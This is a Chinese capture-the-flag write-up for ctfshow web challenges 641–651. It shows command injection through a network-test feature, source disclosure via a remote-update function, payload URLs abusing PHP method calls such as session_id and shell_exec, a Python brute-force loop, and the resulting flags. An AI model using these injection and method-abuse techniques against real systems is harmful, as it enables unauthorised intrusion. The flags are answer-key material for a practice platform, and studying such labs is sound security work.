配合脚本学习效果更佳
web641
在请求头中
首页看到敏感路径,抓包得到flag。
通过网络测试功能调用ls命令看到secret.txt,访问后url解码得到flag
web644首页css中存在路径 访问后跳转到登录界面
查看js得到flag以及登录的密码(0x36d)
备份功能下载下来后可以看到flag
flag_645=ctfshow{28b00f799c2e059bafaa1d6bda138d89}
web646通过远程更新功能获取各个文件的源码 在init.php中得到flag
分析users.php,发现想要拿到647flag需要满足如下条件 可以调用一个不带参数的方法,只要方法的返回值是372619038即可。 想到开了session,那么我们可以调用session_id,然后修改phpsessid的值。
flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}
关键函数
function evilClass($m,$k) {
class ctfshow {
public $m;
public function construct($m) {
$this->$m=$m;
}
}
$ctfshow=new ctfshow($m);
$ctfshow->$m=$m;
if($ctfshow->$m==$m && $k==shell_exec('cat \/FLAG\/FLAG647')) {
echo shell_exec('cat \/FLAG\/FLAG648');
} else {
echo 'mmmmm?';
}
}
随便传个m,然后key传647的值。
payload:
system36d/users.php?action=evilClass&m=1&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}
flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}
web649试了下getArray()方法,发现下标18每次产生的值范围不大而且接近18,当然其他的也有可能。 payload
import requests
url="http://aaadafd2-5e71-4dbf-b257-60eb106c3648.challenge.ctf.show:8080/system36d/users.php?action=evilNumber&m=18&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}"
while True:
r=requests.get(url)
if "ctf" in r.text:
print(r.text)
break
flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}
web650和647差不多 payload:
url/system36d/users.php?action=evilFunction&m=session_id&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}
flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}
web651
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?